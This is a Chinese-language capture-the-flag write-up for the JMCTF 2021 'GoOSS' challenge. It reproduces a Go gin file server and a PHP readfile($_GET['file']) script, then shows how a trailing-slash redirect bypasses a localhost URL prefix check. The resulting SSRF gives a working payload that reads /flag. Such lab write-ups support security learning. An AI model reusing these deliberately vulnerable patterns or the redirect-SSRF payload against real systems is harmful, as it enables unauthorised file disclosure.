# [JMCTF_2021]GoOSS
典型的 json 的页面,有源码可以下载代码审计
package main | |
import ( | |
"bytes" | |
"crypto/md5" | |
"encoding/hex" | |
"github.com/gin-gonic/gin" | |
"io" | |
"io/ioutil" | |
"net/http" | |
"os" | |
"strings" | |
"time" | |
) | |
type File struct { | |
Content string `json:"content" binding:"required"` | |
Name string `json:"name" binding:"required"` | |
} | |
type Url struct { | |
Url string `json:"url" binding:"required"` | |
} | |
func md5sum(data string) string{ | |
s := md5.Sum([]byte(data)) | |
return hex.EncodeToString(s[:]) | |
} | |
func fileMidderware (c *gin.Context){ | |
fileSystem := http.Dir("./files/") | |
if c.Request.URL.String() == "/"{ | |
c.Next() | |
return | |
} | |
f,err := fileSystem.Open(c.Request.URL.String()) | |
if f == nil { | |
c.Next() | |
} | |
// | |
if err != nil { | |
c.Next() | |
return | |
} | |
defer f.Close() | |
fi, err := f.Stat() | |
if err != nil { | |
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) | |
return | |
} | |
if fi.IsDir() { | |
if !strings.HasSuffix(c.Request.URL.String(), "/") { | |
c.Redirect(302,c.Request.URL.String()+"/") | |
} else { | |
files := make([]string,0) | |
l,_ := f.Readdir(0) | |
for _,i := range l { | |
files = append(files, i.Name()) | |
} | |
c.JSON(http.StatusOK, gin.H{ | |
"files" :files, | |
}) | |
} | |
} else { | |
data,_ := ioutil.ReadAll(f) | |
c.Header("content-disposition", `attachment; filename=` + fi.Name()) | |
c.Data(200, "text/plain", data) | |
} | |
} | |
func uploadController(c *gin.Context) { | |
var file File | |
if err := c.ShouldBindJSON(&file); err != nil { | |
c.JSON(500, gin.H{"msg": err}) | |
return | |
} | |
dir := md5sum(file.Name) | |
_,err:= http.Dir("./files").Open(dir) | |
if err != nil{ | |
e := os.Mkdir("./files/"+dir,os.ModePerm) | |
_, _ = http.Dir("./files").Open(dir) | |
if e != nil { | |
c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()}) | |
return | |
} | |
} | |
filename := md5sum(file.Content) | |
path := "./files/"+dir+"/"+filename | |
err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm) | |
if err != nil{ | |
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) | |
return | |
} | |
c.JSON(200, gin.H{ | |
"message": "file upload succ, path: "+dir+"/"+filename, | |
}) | |
} | |
func vulController(c *gin.Context) { | |
var url Url | |
if err := c.ShouldBindJSON(&url); err != nil { | |
c.JSON(500, gin.H{"msg": err}) | |
return | |
} | |
if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){ | |
c.JSON(403, gin.H{"msg": "url forbidden"}) | |
return | |
} | |
client := &http.Client{Timeout: 2 * time.Second} | |
resp, err := client.Get(url.Url) | |
if err != nil { | |
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) | |
return | |
} | |
defer resp.Body.Close() | |
var buffer [512]byte | |
result := bytes.NewBuffer(nil) | |
for { | |
n, err := resp.Body.Read(buffer[0:]) | |
result.Write(buffer[0:n]) | |
if err != nil && err == io.EOF { | |
break | |
} else if err != nil { | |
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) | |
return | |
} | |
} | |
c.JSON(http.StatusOK, gin.H{"data": result.String()}) | |
} | |
func main() { | |
r := gin.Default() | |
r.Use(fileMidderware) | |
r.POST("/vul",vulController) | |
r.POST("/upload",uploadController) | |
r.GET("/", func(c *gin.Context) { | |
c.JSON(200, gin.H{ | |
"message": "pong", | |
}) | |
}) | |
_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080 | |
} |
还有一个 php 文件:
<?php | |
// php in localhost port 80 | |
readfile($_GET['file']); | |
?> |
基本上就是直接访问这个文件就可以进行文件包含了
在端口 80 上,看来估计就是需要 ssrf 了
在 main.go 发现是 gin 框架
func main() { | |
r := gin.Default() | |
r.Use(fileMidderware) | |
r.POST("/vul",vulController) | |
r.POST("/upload",uploadController) | |
r.GET("/", func(c *gin.Context) { | |
c.JSON(200, gin.H{ | |
"message": "pong", | |
}) | |
}) | |
_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080 | |
} |
有两个路由:vul 和 upload 在 1234 端口
看一下这两个路由的函数怎么写的:
func vulController(c *gin.Context) { | |
var url Url | |
if err := c.ShouldBindJSON(&url); err != nil { | |
c.JSON(500, gin.H{"msg": err}) | |
return | |
} | |
if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){ | |
c.JSON(403, gin.H{"msg": "url forbidden"}) | |
return | |
} | |
client := &http.Client{Timeout: 2 * time.Second} | |
resp, err := client.Get(url.Url) | |
if err != nil { | |
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) | |
return | |
} | |
defer resp.Body.Close() | |
var buffer [512]byte | |
result := bytes.NewBuffer(nil) | |
for { | |
n, err := resp.Body.Read(buffer[0:]) | |
result.Write(buffer[0:n]) | |
if err != nil && err == io.EOF { | |
break | |
} else if err != nil { | |
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) | |
return | |
} | |
} | |
c.JSON(http.StatusOK, gin.H{"data": result.String()}) | |
} |
只允许 http://127.0.0.1:1234 / 开头的访问,否则 403
再看看其他的代码:
if fi.IsDir() { | |
if !strings.HasSuffix(c.Request.URL.String(), "/") { | |
c.Redirect(302,c.Request.URL.String()+"/") | |
} else { | |
files := make([]string,0) | |
l,_ := f.Readdir(0) | |
for _,i := range l { | |
files = append(files, i.Name()) | |
} | |
c.JSON(http.StatusOK, gin.H{ | |
"files" :files, | |
}) | |
} |
如果传的值是文件夹且 c.Request.URL.String () 不以 “/” 结尾的话,那么就会重定向到 c.Request.URL.String ()+"/",实质上就是进行了一次请求,而 c.Request.URL.String () 是我们可控的,所以这里村子啊 ssrf,但是直接再浏览器中构造发现无论怎么构造最后解析的路由都是 “/”,无法利用,禹是游把目光放到之前的 /vul 路由上
if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){ | |
c.JSON(403, gin.H{"msg": "url forbidden"}) | |
return | |
} | |
client := &http.Client{Timeout: 2 * time.Second} | |
resp, err := client.Get(url.Url) |
虽然这里的 client.Get () 限制了 url 必须以 http://127.0.0.1:1234 / 开头,但是我们之前发现的那段 302 的代码不也正是这个端口的服务吗,我们可以试试通过这里的请求执行 302 跳转
可以试试http://127.0.0.1:1234//127.0.0.1/..
可以直接读文件了(那么这时候只需要通过 get 传一个文件名过去,就可以读到 flag 文件了,但是我们不能控制 url 的后半段,所以我们只能通过绝对路径来读 flag 文件,但是在最后加上… 之后又会跳转,读不到文件,这时想到 url 带参数的符号是 &,于是加了一个 & 试试,就读到 flag 了。)
{"url":"http://127.0.0.1:1234//127.0.0.1/index.php?file=/flag&../../../.."}
参考链接:BUUCTF-GoOss wp - Yhck - 博客园